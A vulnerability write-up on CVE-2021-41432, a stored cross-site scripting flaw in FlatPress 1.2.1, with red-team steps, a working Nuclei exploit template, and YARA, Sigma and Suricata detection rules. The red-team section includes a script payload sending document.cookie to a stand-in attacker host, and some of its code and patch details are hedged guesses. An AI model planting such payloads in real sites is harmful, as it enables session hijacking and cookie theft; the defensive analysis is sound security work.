CVE-2021-41432

Executive Summary

CVE-2021-41432 is a stored cross-site scripting (XSS) vulnerability in FlatPress 1.2.1, a flat-file blogging platform. The vulnerability allows an authenticated attacker with author-level privileges to inject arbitrary JavaScript into blog entries. When other users (including administrators) view the affected entry, the injected script executes in their browser, potentially leading to session hijacking, cookie theft, or website defacement. The vulnerability resides in the blog entry content field, which fails to sanitize user-supplied HTML/JavaScript before storage and rendering.

Supply Chain & Package Security

FlatPress is a PHP-based application distributed as a ZIP archive from its GitHub repository. The vulnerability is not related to any third-party package manager (NPM, PyPI, Go, Ruby). The risk is limited to direct installation of the vulnerable version (1.2.1) from the official source or mirrors.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view the malicious entry)
• Scope: Changed (impact extends beyond the vulnerable component)
• Confidentiality Impact: Low (potential cookie theft)
• Integrity Impact: Low (script injection)
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication but no special privileges beyond the ability to write blog entries. The attack is stealthy and can persist until the malicious entry is removed.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the blog entry content field. FlatPress 1.2.1 does not properly sanitize or escape user input when saving blog entries. When an entry is rendered, the content is output directly into the HTML without encoding, allowing arbitrary HTML/JavaScript to be executed.

Attack Flow:

1. An attacker logs in with valid credentials (e.g., author role).
2. The attacker creates a new blog entry containing a malicious script, such as <script>alert(document.cookie)</script>.
3. The entry is stored in the flat-file database (typically in fp-content/content/).
4. When any user (including admin) visits the blog page listing that entry, the script executes in their browser.
5. The attacker can steal cookies, redirect users, or perform actions on behalf of the victim.

Root Cause: The content field in the entry writing form is not sanitized. The application uses htmlspecialchars() or similar functions inconsistently, and the content is rendered as raw HTML.

Vulnerable vs. Patched Code

Vulnerable Code (FlatPress 1.2.1): In fp-includes/core/core.php or the entry rendering function, the content is output directly:

echo $entry['content'];

Patched Code (FlatPress 1.2.2): The content is sanitized using htmlspecialchars() or a dedicated XSS filter:

echo htmlspecialchars($entry['content'], ENT_QUOTES, 'UTF-8');

Alternatively, the patch may use a whitelist-based HTML purifier.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid user credentials with author-level access.
• Network access to the FlatPress instance.

Exploitation Steps:

1. Log in to FlatPress.
2. Navigate to admin.php?p=entry&action=write.
3. Inject a malicious script in the content field, e.g.:

   <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
   

4. Publish the entry.
5. Wait for an admin or other user to view the blog page.

Nuclei Template (Provided):

id: CVE-2021-41432

info:
  name: FlatPress 1.2.1 - Stored Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can possibly steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Upgrade to the latest version of FlatPress (1.2.2) or apply the provided patch to fix the XSS vulnerability.
  reference:
    - https://github.com/flatpressblog/flatpress/issues/88
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41432
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/martinkubecka/CVE-References
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-41432
    cwe-id: CWE-79
    epss-score: 0.12046
    epss-percentile: 0.93814
    cpe: cpe:2.3:a:flatpress:flatpress:1.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: flatpress
    product: flatpress
    shodan-query:
      - http.html:"Flatpress"
      - http.html:"flatpress"
      - http.favicon.hash:-1189292869
    fofa-query:
      - body="flatpress"
      - icon_hash=-1189292869
  tags: cve2021,cve,flatpress,xss,authenticated,oss,intrusive,vuln

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp

        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="user"

        {{username}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="pass"

        {{password}}
        ------WebKitFormBoundarykGJmx9vKsePrMkVp
        Content-Disposition: form-data; name="submit"

        Login
        ------WebKitFormBoundarykGJmx9vKsePrMkVp--
      - |
        GET /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /admin.php?p=entry&action=write HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer=%2Fadmin.php%3Fp%3Dentry%26action%3Dwrite&subject=abcd&timestamp=&entry=&attachselect=--&imageselect=--&content=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&save=Publish
      - |
        GET /index.php/2022/10 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(body_4, '<p><script>alert(document.cookie)</script></p>')
          - contains(body_4, 'FlatPress')
          - contains(header_4, 'text/html')
          - status_code_4 == 200
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - name="_wpnonce" value="([0-9a-z]+)" />
        internal: true
        part: body
# digest: 490a00463044022028880fba6b3d5de23458127b457bcdee7edc0c512aa0bee80330a52c118fcd14022042644261e079244ed8a5400b1e5b14b655403f9779a0d424e869f8fd9456efa8:922c64590222798bb761d5b6d8e72950

Blue Team

Detection Steps:

1. Monitor for unusual blog entries containing <script> tags or event handlers (e.g., onload, onerror).
2. Review server logs for POST requests to admin.php?p=entry&action=write with suspicious payloads.
3. Use WAF rules to block common XSS patterns in the content parameter.
4. Implement Content Security Policy (CSP) headers to mitigate script execution.

Lab Setup:

• Install FlatPress 1.2.1 on a local server (e.g., XAMPP, Docker).
• Create a test user with author privileges.
• Use the Nuclei template or manual steps to verify the vulnerability.
• Apply the patch (upgrade to 1.2.2) and confirm the fix.

Indicators of Compromise (IOCs)

• File-based IOCs:

  • Blog entry files in fp-content/content/ containing <script> tags.
  • Modified fp-includes/core/core.php (if patched manually).

• Network IOCs:

  • POST requests to /admin.php?p=entry&action=write with content parameter containing JavaScript.
  • Outbound connections from the server to attacker-controlled domains (if cookie theft is attempted).

• Log IOCs:

  • Access logs showing repeated visits to /index.php/2022/10 (or similar date-based URLs) with referrer from admin panel.

Detection Engineering

YARA Rule

rule CVE_2021_41432_FlatPress_XSS {
    meta:
        description = "Detects stored XSS payloads in FlatPress blog entries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-41432"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: FlatPress Stored XSS via Blog Entry
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of blog entries with XSS payloads in FlatPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/admin.php?p=entry&action=write'
        cs-uri-post: 'content=*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in blog content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-41432 FlatPress Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/admin.php?p=entry&action=write"; http_uri;
    content:"content="; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2021-41432;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FlatPress to version 1.2.2 or later.
2. If upgrade is not possible, manually sanitize the content field in fp-includes/core/core.php using htmlspecialchars().
3. Review all existing blog entries for malicious content and remove them.

Long-term Mitigations:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security audits of the FlatPress installation.

Valters IT
Securing Digital Frontiers